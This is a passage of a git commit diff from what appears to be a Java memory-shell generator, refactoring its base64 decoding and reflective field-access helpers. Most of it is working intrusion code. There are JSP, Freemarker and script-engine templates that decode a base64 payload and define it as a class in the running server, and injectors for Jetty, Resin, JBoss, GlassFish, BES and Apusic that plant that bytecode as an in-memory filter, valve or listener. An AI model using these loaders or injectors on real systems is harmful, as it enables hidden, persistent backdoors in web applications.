refactor: simplify base64 and getFieldValue method

This commit is contained in:
ReaJason
2025-06-07 13:31:18 +08:00
parent b6ba3c632a
commit bae97ec554
88 changed files with 732 additions and 1616 deletions
@@ -12,7 +12,8 @@ import net.bytebuddy.implementation.FixedValue;
import java.util.Collections; import java.util.Collections;
import static net.bytebuddy.matcher.ElementMatchers.*; import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
/** /**
* @author ReaJason * @author ReaJason
@@ -39,6 +40,7 @@ public class ListenerGenerator {
if (methodNotFound) { if (methodNotFound) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC) builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class) .withParameters(Object.class, String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue()) .intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue"))); .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
} }
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.generator.command; package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -53,6 +52,7 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
) )
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC) .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(String.class) .withParameters(String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue()) .intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
@@ -10,7 +10,7 @@ import net.bytebuddy.asm.Advice;
public class DoubleBase64ParamInterceptor { public class DoubleBase64ParamInterceptor {
@Advice.OnMethodExit @Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) { public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param)); returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
} }
} }
@@ -12,22 +12,7 @@ public class ShellCommonUtil {
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null; return "";
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
} }
public static class GetFieldValueInterceptor { public static class GetFieldValueInterceptor {
@@ -37,66 +22,43 @@ public class ShellCommonUtil {
@Advice.Argument(value = 1) String name, @Advice.Argument(value = 1) String name,
@Advice.Return(readOnly = false) Object returnValue @Advice.Return(readOnly = false) Object returnValue
) throws Exception { ) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
while (clazz != Object.class) { while (clazz != Object.class) {
try { try {
field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
break; field.setAccessible(true);
returnValue = field.get(obj);
return;
} catch (NoSuchFieldException var5) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (field == null) { if (returnValue == null) {
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} else {
field.setAccessible(true);
returnValue = field.get(obj);
return;
} }
} }
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64DecodeToString(String bs) { public static String base64DecodeToString(String bs) throws Exception {
byte[] value = null; return "";
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value == null ? null : new String(value);
} }
public static class Base64DecodeToStringInterceptor { public static class Base64DecodeToStringInterceptor {
@Advice.OnMethodExit @Advice.OnMethodExit
@SuppressWarnings("all") @SuppressWarnings("all")
public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) { public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) throws Exception {
byte[] value = null; if (bs != null) {
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try { try {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.newInstance(); returnValue = new String((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); } catch (Exception var6) {
} catch (Exception ignored) { Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
returnValue = new String((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
} }
} }
returnValue = value == null ? null : new String(value);
} }
} }
} }
+14 -28
View File
@@ -1,30 +1,16 @@
var classLoader = java.lang.Thread.currentThread().getContextClassLoader();
var className = "{{className}}";
var base64Str = "{{base64Str}}"; var base64Str = "{{base64Str}}";
var clsString = java.lang.Class.forName("java.lang.String");
var bytecode;
try { try {
classLoader.loadClass(className).newInstance(); var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
} catch (e) { bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
var clsString = classLoader.loadClass("java.lang.String"); } catch (ee) {
var bytecode; var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
try { bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
var clsBase64 = classLoader.loadClass("java.util.Base64"); }
var clsDecoder = classLoader.loadClass("java.util.Base64$Decoder"); var clsByteArray = (new java.lang.String("a").getBytes().getClass());
var decoder = clsBase64.getMethod("getDecoder").invoke(clsDecoder); var clsInt = java.lang.Integer.TYPE;
bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str); var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
} catch (ee) { defineClass.setAccessible(true);
try { var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); clazz.newInstance();
bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
} catch (eee) {
var clazz1 = classLoader.loadClass("sun.misc.BASE64Decoder");
bytecode = clazz1.newInstance().decodeBuffer(base64Str);
}
}
var clsClassLoader = classLoader.loadClass("java.lang.ClassLoader");
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
var clsInt = java.lang.Integer.TYPE;
var defineClass = clsClassLoader.getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
defineClass.setAccessible(true);
var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
clazz.newInstance();
}
+7 -8
View File
@@ -3,6 +3,7 @@
public ClassDefiner(ClassLoader classLoader) { public ClassDefiner(ClassLoader classLoader) {
super(classLoader); super(classLoader);
} }
public Class<?> defineClass(byte[] code) { public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length); return defineClass(null, code, 0, code.length);
} }
@@ -10,18 +11,16 @@
%> %>
<% <%
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
String base64Str = "{{base64Str}}"; String base64Str = "{{base64Str}}";
byte[] bytecode = null; byte[] bytecode = null;
try { try {
Class base64Clz = classLoader.loadClass("java.util.Base64"); Class base64Clz = Class.forName("java.util.Base64");
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) { } catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str); bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
} }
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode); Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
clazz.newInstance(); clazz.newInstance();
%> %>
+3 -4
View File
@@ -17,12 +17,11 @@
byte[] bytecode = null; byte[] bytecode = null;
try { try {
Class base64Clz = classLoader.loadClass("java.util.Base64"); Class base64Clz = classLoader.loadClass("java.util.Base64");
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) { } catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str); bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
} }
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode); Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
clazz.newInstance(); clazz.newInstance();
+4 -5
View File
@@ -4,12 +4,11 @@
byte[] bytecode = null; byte[] bytecode = null;
try { try {
Class base64Clz = classLoader.loadClass("java.util.Base64"); Class base64Clz = classLoader.loadClass("java.util.Base64");
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str); } catch (ClassNotFoundException ee) {
} catch (ClassNotFoundException e) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str); bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
} }
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
+4 -5
View File
@@ -7,12 +7,11 @@
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try { try {
Class base64Clz = classLoader.loadClass("java.util.Base64"); Class base64Clz = classLoader.loadClass("java.util.Base64");
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str); } catch (ClassNotFoundException ee) {
} catch (ClassNotFoundException e) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str); bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
} }
Object unsafe = null; Object unsafe = null;
Object rawModule = null; Object rawModule = null;
@@ -20,7 +20,6 @@ class FreemarkerPackerTest {
.injectorBytesBase64Str("hehe").build(); .injectorBytesBase64Str("hehe").build();
String content = new String(packer.pack(generateResult)); String content = new String(packer.pack(generateResult));
System.out.println(content); System.out.println(content);
assertTrue(content.contains("var className = \"hehe\";"));
assertTrue(content.contains("var base64Str = \"hehe\";")); assertTrue(content.contains("var base64Str = \"hehe\";"));
} }
} }
@@ -2,7 +2,12 @@ package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import lombok.SneakyThrows;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.condition.EnabledOnJre;
import org.junit.jupiter.api.condition.JRE;
import javax.script.ScriptEngineManager;
import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -19,8 +24,6 @@ class ScriptEnginePackerTest {
.injectorBytesBase64Str("hehe").build(); .injectorBytesBase64Str("hehe").build();
String jsContent = new String(new ScriptEnginePacker().pack(generateResult)); String jsContent = new String(new ScriptEnginePacker().pack(generateResult));
System.out.println(jsContent); System.out.println(jsContent);
assertTrue(jsContent.contains("var className = \"hehe\";"));
assertTrue(jsContent.contains("var base64Str = \"hehe\";")); assertTrue(jsContent.contains("var base64Str = \"hehe\";"));
} }
} }
@@ -164,19 +164,15 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
try { try {
decoderClass = Class.forName("java.util.Base64"); decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null); Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) { } catch (Exception ignored) {
try { decoderClass = Class.forName("sun.misc.BASE64Decoder");
decoderClass = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
} }
} }
@@ -212,8 +208,8 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
return; return;
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try { try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length); defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
@@ -164,19 +164,15 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
try { try {
decoderClass = Class.forName("java.util.Base64"); decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null); Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) { } catch (Exception ignored) {
try { decoderClass = Class.forName("sun.misc.BASE64Decoder");
decoderClass = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
} }
} }
@@ -212,8 +208,8 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
return; return;
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try { try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length); defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
@@ -164,19 +164,15 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
try { try {
decoderClass = Class.forName("java.util.Base64"); decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null); Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) { } catch (Exception ignored) {
try { decoderClass = Class.forName("sun.misc.BASE64Decoder");
decoderClass = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
} }
} }
@@ -212,8 +208,8 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
return; return;
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try { try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length); defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
@@ -131,19 +131,18 @@ public class BesListenerInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -134,19 +134,18 @@ public class GlassFishValveInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -175,18 +175,17 @@ public class JbossFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
} }
@@ -135,19 +135,18 @@ public class JbossValveInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -209,19 +209,18 @@ public class JettyFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
@@ -238,19 +238,15 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
try { try {
decoderClass = Class.forName("java.util.Base64"); decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null); Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) { } catch (Exception ignored) {
try { decoderClass = Class.forName("sun.misc.BASE64Decoder");
decoderClass = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
} }
} }
@@ -286,8 +282,8 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
return; return;
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try { try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length); defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
@@ -179,19 +179,18 @@ public class JettyServletInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
@@ -164,19 +164,15 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
try { try {
decoderClass = Class.forName("java.util.Base64"); decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null); Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) { } catch (Exception ignored) {
try { decoderClass = Class.forName("sun.misc.BASE64Decoder");
decoderClass = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
} }
} }
@@ -212,8 +208,8 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
return; return;
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try { try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length); defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
@@ -148,19 +148,18 @@ public class ResinFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
